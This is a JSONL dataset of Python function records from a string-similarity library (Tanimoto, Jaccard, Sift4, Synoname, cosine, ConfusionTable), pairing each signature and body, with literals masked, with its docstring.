{"signature": "def tanimoto(src, tar, qval=<NUM_LIT:2>):", "body": "return Jaccard().tanimoto_coeff(src, tar, qval)<EOL>", "docstring": "Return the Tanimoto coefficient of two strings.\n\n    This is a wrapper for :py:meth:`Jaccard.tanimoto_coeff`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n\n    Returns\n    -------\n    float\n        Tanimoto distance\n\n    Examples\n    --------\n    >>> tanimoto('cat', 'hat')\n    -1.5849625007211563\n    >>> tanimoto('Niall', 'Neil')\n    -2.1699250014423126\n    >>> tanimoto('aluminum', 'Catalan')\n    -4.0\n    >>> tanimoto('ATCG', 'TAGC')\n    -inf", "id": "f6658:m2"}
{"signature": "def sim(self, src, tar, qval=<NUM_LIT:2>):", "body": "return super(self.__class__, self).sim(src, tar, qval, <NUM_LIT:1>, <NUM_LIT:1>)<EOL>", "docstring": "r\"\"\"Return the Jaccard similarity of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string (or QGrams/Counter objects) for comparison\n        tar : str\n            Target string (or QGrams/Counter objects) for comparison\n        qval : int\n            The length of each q-gram; 0 for non-q-gram version\n\n        Returns\n        -------\n        float\n            Jaccard similarity\n\n        Examples\n        --------\n        >>> cmp = Jaccard()\n        >>> cmp.sim('cat', 'hat')\n        0.3333333333333333\n        >>> cmp.sim('Niall', 'Neil')\n        0.2222222222222222\n        >>> cmp.sim('aluminum', 'Catalan')\n        0.0625\n        >>> cmp.sim('ATCG', 'TAGC')\n        0.0", "id": "f6658:c0:m0"}
{"signature": "def tanimoto_coeff(self, src, tar, qval=<NUM_LIT:2>):", "body": "coeff = self.sim(src, tar, qval)<EOL>if coeff != <NUM_LIT:0>:<EOL><INDENT>return log(coeff, <NUM_LIT:2>)<EOL><DEDENT>return float('<STR_LIT>')<EOL>", "docstring": "Return the Tanimoto distance between two strings.\n\n        Tanimoto distance :cite:`Tanimoto:1958` is\n        :math:`-log_{2} sim_{Tanimoto}(X, Y)`.\n\n        Parameters\n        ----------\n        src : str\n            Source string (or QGrams/Counter objects) for comparison\n        tar : str\n            Target string (or QGrams/Counter objects) for comparison\n        qval : int\n            The length of each q-gram; 0 for non-q-gram version\n\n        Returns\n        -------\n        float\n            Tanimoto distance\n\n        Examples\n        --------\n        >>> cmp = Jaccard()\n        >>> cmp.tanimoto_coeff('cat', 'hat')\n        -1.5849625007211563\n        >>> cmp.tanimoto_coeff('Niall', 'Neil')\n        -2.1699250014423126\n        >>> cmp.tanimoto_coeff('aluminum', 'Catalan')\n        -4.0\n        >>> cmp.tanimoto_coeff('ATCG', 'TAGC')\n        -inf", "id": "f6658:c0:m1"}
{"signature": "def sift4_common(src, tar, max_offset=<NUM_LIT:5>, max_distance=<NUM_LIT:0>):", "body": "return Sift4().dist_abs(src, tar, max_offset, max_distance)<EOL>", "docstring": "Return the \"common\" Sift4 distance between two terms.\n\n    This is a wrapper for :py:meth:`Sift4.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    max_offset : int\n        The number of characters to search for matching letters\n    max_distance : int\n        The distance at which to stop and exit\n\n    Returns\n    -------\n    int\n        The Sift4 distance according to the common formula\n\n    Examples\n    --------\n    >>> sift4_common('cat', 'hat')\n    1\n    >>> sift4_common('Niall', 'Neil')\n    2\n    >>> sift4_common('Colin', 'Cuilen')\n    3\n    >>> sift4_common('ATCG', 'TAGC')\n    2", "id": "f6659:m0"}
{"signature": "def dist_sift4(src, tar, max_offset=<NUM_LIT:5>, max_distance=<NUM_LIT:0>):", "body": "return Sift4().dist(src, tar, max_offset, max_distance)<EOL>", "docstring": "Return the normalized \"common\" Sift4 distance between two terms.\n\n    This is a wrapper for :py:meth:`Sift4.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    max_offset : int\n        The number of characters to search for matching letters\n    max_distance : int\n        The distance at which to stop and exit\n\n    Returns\n    -------\n    float\n        The normalized Sift4 distance\n\n    Examples\n    --------\n    >>> round(dist_sift4('cat', 'hat'), 12)\n    0.333333333333\n    >>> dist_sift4('Niall', 'Neil')\n    0.4\n    >>> dist_sift4('Colin', 'Cuilen')\n    0.5\n    >>> dist_sift4('ATCG', 'TAGC')\n    0.5", "id": "f6659:m1"}
{"signature": "def sim_sift4(src, tar, max_offset=<NUM_LIT:5>, max_distance=<NUM_LIT:0>):", "body": "return Sift4().sim(src, tar, max_offset, max_distance)<EOL>", "docstring": "Return the normalized \"common\" Sift4 similarity of two terms.\n\n    This is a wrapper for :py:meth:`Sift4.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    max_offset : int\n        The number of characters to search for matching letters\n    max_distance : int\n        The distance at which to stop and exit\n\n    Returns\n    -------\n    float\n        The normalized Sift4 similarity\n\n    Examples\n    --------\n    >>> round(sim_sift4('cat', 'hat'), 12)\n    0.666666666667\n    >>> sim_sift4('Niall', 'Neil')\n    0.6\n    >>> sim_sift4('Colin', 'Cuilen')\n    0.5\n    >>> sim_sift4('ATCG', 'TAGC')\n    0.5", "id": "f6659:m2"}
{"signature": "def dist_abs(self, src, tar, max_offset=<NUM_LIT:5>, max_distance=<NUM_LIT:0>):", "body": "if not src:<EOL><INDENT>return len(tar)<EOL><DEDENT>if not tar:<EOL><INDENT>return len(src)<EOL><DEDENT>src_len = len(src)<EOL>tar_len = len(tar)<EOL>src_cur = <NUM_LIT:0><EOL>tar_cur = <NUM_LIT:0><EOL>lcss = <NUM_LIT:0><EOL>local_cs = <NUM_LIT:0><EOL>trans = <NUM_LIT:0><EOL>offset_arr = []<EOL>while (src_cur < src_len) and (tar_cur < tar_len):<EOL><INDENT>if src[src_cur] == tar[tar_cur]:<EOL><INDENT>local_cs += <NUM_LIT:1><EOL>is_trans = False<EOL>i = <NUM_LIT:0><EOL>while i < len(offset_arr):<EOL><INDENT>ofs = offset_arr[i]<EOL>if src_cur <= ofs['<STR_LIT>'] or tar_cur <= ofs['<STR_LIT>']:<EOL><INDENT>is_trans = abs(tar_cur - src_cur) >= abs(<EOL>ofs['<STR_LIT>'] - ofs['<STR_LIT>']<EOL>)<EOL>if is_trans:<EOL><INDENT>trans += <NUM_LIT:1><EOL><DEDENT>elif not ofs['<STR_LIT>']:<EOL><INDENT>ofs['<STR_LIT>'] = True<EOL>trans += <NUM_LIT:1><EOL><DEDENT>break<EOL><DEDENT>elif src_cur > ofs['<STR_LIT>'] and tar_cur > ofs['<STR_LIT>']:<EOL><INDENT>del offset_arr[i]<EOL><DEDENT>else:<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT><DEDENT>offset_arr.append(<EOL>{'<STR_LIT>': src_cur, '<STR_LIT>': tar_cur, '<STR_LIT>': is_trans}<EOL>)<EOL><DEDENT>else:<EOL><INDENT>lcss += local_cs<EOL>local_cs = <NUM_LIT:0><EOL>if src_cur != tar_cur:<EOL><INDENT>src_cur = tar_cur = min(src_cur, tar_cur)<EOL><DEDENT>for i in range(max_offset):<EOL><INDENT>if not (<EOL>(src_cur + i < src_len) or (tar_cur + i < tar_len)<EOL>):<EOL><INDENT>break<EOL><DEDENT>if (src_cur + i < src_len) and (<EOL>src[src_cur + i] == tar[tar_cur]<EOL>):<EOL><INDENT>src_cur += i - <NUM_LIT:1><EOL>tar_cur -= <NUM_LIT:1><EOL>break<EOL><DEDENT>if (tar_cur + i < tar_len) and (<EOL>src[src_cur] == tar[tar_cur + i]<EOL>):<EOL><INDENT>src_cur -= <NUM_LIT:1><EOL>tar_cur += i - <NUM_LIT:1><EOL>break<EOL><DEDENT><DEDENT><DEDENT>src_cur += <NUM_LIT:1><EOL>tar_cur += <NUM_LIT:1><EOL>if max_distance:<EOL><INDENT>temporary_distance = max(src_cur, tar_cur) - lcss + trans<EOL>if temporary_distance >= max_distance:<EOL><INDENT>return round(temporary_distance)<EOL><DEDENT><DEDENT>if (src_cur >= src_len) or (tar_cur >= tar_len):<EOL><INDENT>lcss += local_cs<EOL>local_cs = <NUM_LIT:0><EOL>src_cur = tar_cur = min(src_cur, tar_cur)<EOL><DEDENT><DEDENT>lcss += local_cs<EOL>return round(max(src_len, tar_len) - lcss + trans)<EOL>", "docstring": "Return the \"common\" Sift4 distance between two terms.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        max_offset : int\n            The number of characters to search for matching letters\n        max_distance : int\n            The distance at which to stop and exit\n\n        Returns\n        -------\n        int\n            The Sift4 distance according to the common formula\n\n        Examples\n        --------\n        >>> cmp = Sift4()\n        >>> cmp.dist_abs('cat', 'hat')\n        1\n        >>> cmp.dist_abs('Niall', 'Neil')\n        2\n        >>> cmp.dist_abs('Colin', 'Cuilen')\n        3\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        2", "id": "f6659:c0:m0"}
{"signature": "def dist(self, src, tar, max_offset=<NUM_LIT:5>, max_distance=<NUM_LIT:0>):", "body": "return self.dist_abs(src, tar, max_offset, max_distance) / (<EOL>max(len(src), len(tar), <NUM_LIT:1>)<EOL>)<EOL>", "docstring": "Return the normalized \"common\" Sift4 distance between two terms.\n\n        This is Sift4 distance, normalized to [0, 1].\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        max_offset : int\n            The number of characters to search for matching letters\n        max_distance : int\n            The distance at which to stop and exit\n\n        Returns\n        -------\n        float\n            The normalized Sift4 distance\n\n        Examples\n        --------\n        >>> cmp = Sift4()\n        >>> round(cmp.dist('cat', 'hat'), 12)\n        0.333333333333\n        >>> cmp.dist('Niall', 'Neil')\n        0.4\n        >>> cmp.dist('Colin', 'Cuilen')\n        0.5\n        >>> cmp.dist('ATCG', 'TAGC')\n        0.5", "id": "f6659:c0:m1"}
{"signature": "def _synoname_strip_punct(self, word):", "body": "stripped = '<STR_LIT>'<EOL>for char in word:<EOL><INDENT>if char not in set('<STR_LIT>'):<EOL><INDENT>stripped += char<EOL><DEDENT><DEDENT>return stripped.strip()<EOL>", "docstring": "Return a word with punctuation stripped out.\n\n        Parameters\n        ----------\n        word : str\n            A word to strip punctuation from\n\n        Returns\n        -------\n        str\n            The word stripped of punctuation\n\n        Examples\n        --------\n        >>> pe = Synoname()\n        >>> pe._synoname_strip_punct('AB;CD EF-GH$IJ')\n        'ABCD EFGHIJ'", "id": "f6660:c0:m0"}
{"signature": "def _synoname_word_approximation(<EOL>self, src_ln, tar_ln, src_fn='<STR_LIT>', tar_fn='<STR_LIT>', features=None<EOL>):", "body": "if features is None:<EOL><INDENT>features = {}<EOL><DEDENT>if '<STR_LIT>' not in features:<EOL><INDENT>features['<STR_LIT>'] = []<EOL><DEDENT>if '<STR_LIT>' not in features:<EOL><INDENT>features['<STR_LIT>'] = []<EOL><DEDENT>src_len_specials = len(features['<STR_LIT>'])<EOL>tar_len_specials = len(features['<STR_LIT>'])<EOL>if ('<STR_LIT>' in features and features['<STR_LIT>']) or (<EOL>'<STR_LIT>' in features and features['<STR_LIT>']<EOL>):<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>full_tar1 = '<STR_LIT:U+0020>'.join((tar_ln, tar_fn)).replace('<STR_LIT:->', '<STR_LIT:U+0020>').strip()<EOL>for s_pos, s_type in features['<STR_LIT>']:<EOL><INDENT>if s_type == '<STR_LIT:a>':<EOL><INDENT>full_tar1 = full_tar1[<EOL>: -(<EOL><NUM_LIT:1><EOL>+ len(<EOL>self._stc._synoname_special_table[  <EOL>s_pos<EOL>][<NUM_LIT:1>]<EOL>)<EOL>)<EOL>]<EOL><DEDENT>elif s_type == '<STR_LIT:b>':<EOL><INDENT>loc = (<EOL>full_tar1.find(<EOL>'<STR_LIT:U+0020>'<EOL>+ self._stc._synoname_special_table[  <EOL>s_pos<EOL>][<NUM_LIT:1>]<EOL>+ '<STR_LIT:U+0020>'<EOL>)<EOL>+ <NUM_LIT:1><EOL>)<EOL>full_tar1 = (<EOL>full_tar1[:loc]<EOL>+ full_tar1[<EOL>loc<EOL>+ len(<EOL>self._stc._synoname_special_table[  <EOL>s_pos<EOL>][<NUM_LIT:1>]<EOL>) :<EOL>]<EOL>)<EOL><DEDENT>elif s_type == '<STR_LIT:c>':<EOL><INDENT>full_tar1 = full_tar1[<EOL><NUM_LIT:1><EOL>+ len(<EOL>self._stc._synoname_special_table[s_pos][  <EOL><NUM_LIT:1><EOL>]<EOL>) :<EOL>]<EOL><DEDENT><DEDENT>full_src1 = '<STR_LIT:U+0020>'.join((src_ln, src_fn)).replace('<STR_LIT:->', '<STR_LIT:U+0020>').strip()<EOL>for s_pos, s_type in features['<STR_LIT>']:<EOL><INDENT>if s_type == '<STR_LIT:a>':<EOL><INDENT>full_src1 = full_src1[<EOL>: -(<EOL><NUM_LIT:1><EOL>+ len(<EOL>self._stc._synoname_special_table[  <EOL>s_pos<EOL>][<NUM_LIT:1>]<EOL>)<EOL>)<EOL>]<EOL><DEDENT>elif s_type == '<STR_LIT:b>':<EOL><INDENT>loc = (<EOL>full_src1.find(<EOL>'<STR_LIT:U+0020>'<EOL>+ self._stc._synoname_special_table[  <EOL>s_pos<EOL>][<NUM_LIT:1>]<EOL>+ '<STR_LIT:U+0020>'<EOL>)<EOL>+ <NUM_LIT:1><EOL>)<EOL>full_src1 = (<EOL>full_src1[:loc]<EOL>+ full_src1[<EOL>loc<EOL>+ len(<EOL>self._stc._synoname_special_table[  <EOL>s_pos<EOL>][<NUM_LIT:1>]<EOL>) :<EOL>]<EOL>)<EOL><DEDENT>elif s_type == '<STR_LIT:c>':<EOL><INDENT>full_src1 = full_src1[<EOL><NUM_LIT:1><EOL>+ len(<EOL>self._stc._synoname_special_table[s_pos][  <EOL><NUM_LIT:1><EOL>]<EOL>) :<EOL>]<EOL><DEDENT><DEDENT>full_tar2 = full_tar1<EOL>for s_pos, s_type in features['<STR_LIT>']:<EOL><INDENT>if s_type == '<STR_LIT:d>':<EOL><INDENT>full_tar2 = full_tar2[<EOL>len(<EOL>self._stc._synoname_special_table[s_pos][  <EOL><NUM_LIT:1><EOL>]<EOL>) :<EOL>]<EOL><DEDENT>elif (<EOL>s_type == '<STR_LIT:X>'<EOL>and self._stc._synoname_special_table[s_pos][<NUM_LIT:1>]  <EOL>in full_tar2<EOL>):<EOL><INDENT>loc = full_tar2.find(<EOL>'<STR_LIT:U+0020>'<EOL>+ self._stc._synoname_special_table[s_pos][<NUM_LIT:1>]  <EOL>)<EOL>full_tar2 = (<EOL>full_tar2[:loc]<EOL>+ full_tar2[<EOL>loc<EOL>+ len(<EOL>self._stc._synoname_special_table[  <EOL>s_pos<EOL>][<NUM_LIT:1>]<EOL>) :<EOL>]<EOL>)<EOL><DEDENT><DEDENT>full_src2 = full_src1<EOL>for s_pos, s_type in features['<STR_LIT>']:<EOL><INDENT>if s_type == '<STR_LIT:d>':<EOL><INDENT>full_src2 = full_src2[<EOL>len(<EOL>self._stc._synoname_special_table[s_pos][  <EOL><NUM_LIT:1><EOL>]<EOL>) :<EOL>]<EOL><DEDENT>elif (<EOL>s_type == '<STR_LIT:X>'<EOL>and self._stc._synoname_special_table[s_pos][<NUM_LIT:1>]  <EOL>in full_src2<EOL>):<EOL><INDENT>loc = full_src2.find(<EOL>'<STR_LIT:U+0020>'<EOL>+ self._stc._synoname_special_table[s_pos][<NUM_LIT:1>]  <EOL>)<EOL>full_src2 = (<EOL>full_src2[:loc]<EOL>+ full_src2[<EOL>loc<EOL>+ len(<EOL>self._stc._synoname_special_table[  <EOL>s_pos<EOL>][<NUM_LIT:1>]<EOL>) :<EOL>]<EOL>)<EOL><DEDENT><DEDENT>full_tar1 = self._synoname_strip_punct(full_tar1)<EOL>tar1_words = full_tar1.split()<EOL>tar1_num_words = len(tar1_words)<EOL>full_src1 = self._synoname_strip_punct(full_src1)<EOL>src1_words = full_src1.split()<EOL>src1_num_words = len(src1_words)<EOL>full_tar2 = self._synoname_strip_punct(full_tar2)<EOL>tar2_words = full_tar2.split()<EOL>tar2_num_words = len(tar2_words)<EOL>full_src2 = self._synoname_strip_punct(full_src2)<EOL>src2_words = full_src2.split()<EOL>src2_num_words = len(src2_words)<EOL>if (<EOL>src1_num_words < <NUM_LIT:2><EOL>and src_len_specials == <NUM_LIT:0><EOL>and src2_num_words < <NUM_LIT:2><EOL>and tar_len_specials == <NUM_LIT:0><EOL>):<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if (<EOL>tar1_num_words == <NUM_LIT:1><EOL>and src1_num_words == <NUM_LIT:1><EOL>and tar1_words[<NUM_LIT:0>] == src1_words[<NUM_LIT:0>]<EOL>):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>if tar1_num_words < <NUM_LIT:2> and tar_len_specials == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>last_found = False<EOL>for word in tar1_words:<EOL><INDENT>if src_ln.endswith(word) or word + '<STR_LIT:U+0020>' in src_ln:<EOL><INDENT>last_found = True<EOL><DEDENT><DEDENT>if not last_found:<EOL><INDENT>for word in src1_words:<EOL><INDENT>if tar_ln.endswith(word) or word + '<STR_LIT:U+0020>' in tar_ln:<EOL><INDENT>last_found = True<EOL><DEDENT><DEDENT><DEDENT>matches = <NUM_LIT:0><EOL>if last_found:<EOL><INDENT>for i, s_word in enumerate(src1_words):<EOL><INDENT>for j, t_word in enumerate(tar1_words):<EOL><INDENT>if s_word == t_word:<EOL><INDENT>src1_words[i] = '<STR_LIT:@>'<EOL>tar1_words[j] = '<STR_LIT:@>'<EOL>matches += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>w_ratio = matches / max(tar1_num_words, src1_num_words)<EOL>if matches > <NUM_LIT:1> or (<EOL>matches == <NUM_LIT:1><EOL>and src1_num_words == <NUM_LIT:1><EOL>and tar1_num_words == <NUM_LIT:1><EOL>and (tar_len_specials > <NUM_LIT:0> or src_len_specials > <NUM_LIT:0>)<EOL>):<EOL><INDENT>return w_ratio<EOL><DEDENT>if (<EOL>tar2_num_words == <NUM_LIT:1><EOL>and src2_num_words == <NUM_LIT:1><EOL>and tar2_words[<NUM_LIT:0>] == src2_words[<NUM_LIT:0>]<EOL>):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>if tar2_num_words < <NUM_LIT:2> and tar_len_specials == <NUM_LIT:0>:  <EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>last_found = False<EOL>for word in tar2_words:<EOL><INDENT>if src_ln.endswith(word) or word + '<STR_LIT:U+0020>' in src_ln:<EOL><INDENT>last_found = True<EOL><DEDENT><DEDENT>if not last_found:<EOL><INDENT>for word in src2_words:<EOL><INDENT>if tar_ln.endswith(word) or word + '<STR_LIT:U+0020>' in tar_ln:<EOL><INDENT>last_found = True<EOL><DEDENT><DEDENT><DEDENT>if not last_found:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>matches = <NUM_LIT:0><EOL>if last_found:<EOL><INDENT>for i, s_word in enumerate(src2_words):<EOL><INDENT>for j, t_word in enumerate(tar2_words):<EOL><INDENT>if s_word == t_word:<EOL><INDENT>src2_words[i] = '<STR_LIT:@>'<EOL>tar2_words[j] = '<STR_LIT:@>'<EOL>matches += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>w_ratio = matches / max(tar2_num_words, src2_num_words)<EOL>if matches > <NUM_LIT:1> or (<EOL>matches == <NUM_LIT:1><EOL>and src2_num_words == <NUM_LIT:1><EOL>and tar2_num_words == <NUM_LIT:1><EOL>and (tar_len_specials > <NUM_LIT:0> or src_len_specials > <NUM_LIT:0>)<EOL>):<EOL><INDENT>return w_ratio<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Return the Synoname word approximation score for two names.\n\n        Parameters\n        ----------\n        src_ln : str\n            Last name of the source\n        tar_ln : str\n            Last name of the target\n        src_fn : str\n            First name of the source (optional)\n        tar_fn : str\n            First name of the target (optional)\n        features : dict\n            A dict containing special features calculated using\n            :py:class:`fingerprint.SynonameToolcode` (optional)\n\n        Returns\n        -------\n        float\n            The word approximation score\n\n        Examples\n        --------\n        >>> pe = Synoname()\n        >>> pe._synoname_word_approximation('Smith Waterman', 'Waterman',\n        ... 'Tom Joe Bob', 'Tom Joe')\n        0.6", "id": "f6660:c0:m1"}
{"signature": "def sim_cosine(src, tar, qval=<NUM_LIT:2>):", "body": "return Cosine().sim(src, tar, qval)<EOL>", "docstring": "r\"\"\"Return the cosine similarity of two strings.\n\n    This is a wrapper for :py:meth:`Cosine.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n\n    Returns\n    -------\n    float\n        Cosine similarity\n\n    Examples\n    --------\n    >>> sim_cosine('cat', 'hat')\n    0.5\n    >>> sim_cosine('Niall', 'Neil')\n    0.3651483716701107\n    >>> sim_cosine('aluminum', 'Catalan')\n    0.11785113019775793\n    >>> sim_cosine('ATCG', 'TAGC')\n    0.0", "id": "f6661:m0"}
{"signature": "def dist_cosine(src, tar, qval=<NUM_LIT:2>):", "body": "return Cosine().dist(src, tar, qval)<EOL>", "docstring": "Return the cosine distance between two strings.\n\n    This is a wrapper for :py:meth:`Cosine.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n\n    Returns\n    -------\n    float\n        Cosine distance\n\n    Examples\n    --------\n    >>> dist_cosine('cat', 'hat')\n    0.5\n    >>> dist_cosine('Niall', 'Neil')\n    0.6348516283298893\n    >>> dist_cosine('aluminum', 'Catalan')\n    0.882148869802242\n    >>> dist_cosine('ATCG', 'TAGC')\n    1.0", "id": "f6661:m1"}
{"signature": "def sim(self, src, tar, qval=<NUM_LIT:2>):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>if not src or not tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>q_src, q_tar = self._get_qgrams(src, tar, qval)<EOL>q_src_mag = sum(q_src.values())<EOL>q_tar_mag = sum(q_tar.values())<EOL>q_intersection_mag = sum((q_src & q_tar).values())<EOL>return q_intersection_mag / sqrt(q_src_mag * q_tar_mag)<EOL>", "docstring": "r\"\"\"Return the cosine similarity of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string (or QGrams/Counter objects) for comparison\n        tar : str\n            Target string (or QGrams/Counter objects) for comparison\n        qval : int\n            The length of each q-gram; 0 for non-q-gram version\n\n        Returns\n        -------\n        float\n            Cosine similarity\n\n        Examples\n        --------\n        >>> cmp = Cosine()\n        >>> cmp.sim('cat', 'hat')\n        0.5\n        >>> cmp.sim('Niall', 'Neil')\n        0.3651483716701107\n        >>> cmp.sim('aluminum', 'Catalan')\n        0.11785113019775793\n        >>> cmp.sim('ATCG', 'TAGC')\n        0.0", "id": "f6661:c0:m0"}
{"signature": "def __init__(self, tp=<NUM_LIT:0>, tn=<NUM_LIT:0>, fp=<NUM_LIT:0>, fn=<NUM_LIT:0>):", "body": "if isinstance(tp, (tuple, list)):<EOL><INDENT>if len(tp) == <NUM_LIT:4>:<EOL><INDENT>self._tp = tp[<NUM_LIT:0>]<EOL>self._tn = tp[<NUM_LIT:1>]<EOL>self._fp = tp[<NUM_LIT:2>]<EOL>self._fn = tp[<NUM_LIT:3>]<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError(<EOL>'<STR_LIT>'<EOL>+ '<STR_LIT>'<EOL>)<EOL><DEDENT><DEDENT>elif isinstance(tp, dict):<EOL><INDENT>if '<STR_LIT>' in tp:<EOL><INDENT>self._tp = tp['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in tp:<EOL><INDENT>self._tn = tp['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in tp:<EOL><INDENT>self._fp = tp['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in tp:<EOL><INDENT>self._fn = tp['<STR_LIT>']<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._tp = tp<EOL>self._tn = tn<EOL>self._fp = fp<EOL>self._fn = fn<EOL><DEDENT>", "docstring": "Initialize ConfusionTable.\n\n        Parameters\n        ----------\n        tp : int or a tuple, list, or dict\n            True positives; If a tuple or list is supplied, it must include 4\n            values in the order [tp, tn, fp, fn]. If a dict is supplied, it\n            must have 4 keys, namely 'tp', 'tn', 'fp', & 'fn'.\n        tn : int\n            True negatives\n        fp : int\n            False positives\n        fn : int\n            False negatives\n\n        Raises\n        ------\n        AttributeError\n            ConfusionTable requires a 4-tuple when being created from a tuple.\n\n        Examples\n        --------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct == ConfusionTable((120, 60, 20, 30))\n        True\n        >>> ct == ConfusionTable([120, 60, 20, 30])\n        True\n        >>> ct == ConfusionTable({'tp': 120, 'tn': 60, 'fp': 20, 'fn': 30})\n        True", "id": "f6662:c0:m0"}
{"signature": "def __eq__(self, other):", "body": "if isinstance(other, ConfusionTable):<EOL><INDENT>if id(self) == id(other):<EOL><INDENT>return True<EOL><DEDENT>if (<EOL>self._tp == other.true_pos()<EOL>and self._tn == other.true_neg()<EOL>and self._fp == other.false_pos()<EOL>and self._fn == other.false_neg()<EOL>):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>elif isinstance(other, (tuple, list)):<EOL><INDENT>if (<EOL>self._tp == other[<NUM_LIT:0>]<EOL>and self._tn == other[<NUM_LIT:1>]<EOL>and self._fp == other[<NUM_LIT:2>]<EOL>and self._fn == other[<NUM_LIT:3>]<EOL>):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>elif isinstance(other, dict):<EOL><INDENT>if (<EOL>self._tp == other['<STR_LIT>']<EOL>and self._tn == other['<STR_LIT>']<EOL>and self._fp == other['<STR_LIT>']<EOL>and self._fn == other['<STR_LIT>']<EOL>):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Perform eqality (==) comparison.\n\n        Compares a ConfusionTable to another ConfusionTable or its equivalent\n        in the form of a tuple, list, or dict.\n\n        Parameters\n        ----------\n        other : ConfusionTable\n            Another ConfusionTable object to compare to\n\n        Returns\n        -------\n        bool\n            True if two ConfusionTables are the same object or all four of\n            their attributes are equal\n\n        Examples\n        --------\n        >>> ct1 = ConfusionTable(120, 60, 20, 30)\n        >>> ct2 = ConfusionTable(120, 60, 20, 30)\n        >>> ct3 = ConfusionTable(60, 30, 10, 15)\n\n        >>> ct1 == ct2\n        True\n        >>> ct1 == ct3\n        False\n\n        >>> ct1 != ct2\n        False\n        >>> ct1 != ct3\n        True", "id": "f6662:c0:m1"}
{"signature": "def __str__(self):", "body": "return '<STR_LIT>'.format(<EOL>self._tp, self._tn, self._fp, self._fn<EOL>)<EOL>", "docstring": "Cast to str.\n\n        Returns\n        -------\n        str\n            A human-readable version of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> str(ct)\n        'tp:120, tn:60, fp:20, fn:30'", "id": "f6662:c0:m2"}
{"signature": "def to_tuple(self):", "body": "return self._tp, self._tn, self._fp, self._fn<EOL>", "docstring": "Cast to tuple.\n\n        Returns\n        -------\n        tuple\n            The confusion table as a 4-tuple (tp, tn, fp, fn)\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.to_tuple()\n        (120, 60, 20, 30)", "id": "f6662:c0:m3"}
{"signature": "def to_dict(self):", "body": "return {'<STR_LIT>': self._tp, '<STR_LIT>': self._tn, '<STR_LIT>': self._fp, '<STR_LIT>': self._fn}<EOL>", "docstring": "Cast to dict.\n\n        Returns\n        -------\n        dict\n            The confusion table as a dict\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> import pprint\n        >>> pprint.pprint(ct.to_dict())\n        {'fn': 30, 'fp': 20, 'tn': 60, 'tp': 120}", "id": "f6662:c0:m4"}
{"signature": "def true_pos(self):", "body": "return self._tp<EOL>", "docstring": "Return true positives.\n\n        Returns\n        -------\n        int\n            The true positives of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.true_pos()\n        120", "id": "f6662:c0:m5"}
{"signature": "def true_neg(self):", "body": "return self._tn<EOL>", "docstring": "Return true negatives.\n\n        Returns\n        -------\n        int\n            The true negatives of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.true_neg()\n        60", "id": "f6662:c0:m6"}
{"signature": "def false_pos(self):", "body": "return self._fp<EOL>", "docstring": "Return false positives.\n\n        Returns\n        -------\n        int\n            The false positives of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.false_pos()\n        20", "id": "f6662:c0:m7"}
{"signature": "def false_neg(self):", "body": "return self._fn<EOL>", "docstring": "Return false negatives.\n\n        Returns\n        -------\n        int\n            The false negatives of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.false_neg()\n        30", "id": "f6662:c0:m8"}
{"signature": "def correct_pop(self):", "body": "return self._tp + self._tn<EOL>", "docstring": "Return correct population.\n\n        Returns\n        -------\n        int\n            The correct population of the confusion table\n\n        Example\n        -------\n        >>> ct = ConfusionTable(120, 60, 20, 30)\n        >>> ct.correct_pop()\n        180", "id": "f6662:c0:m9"}
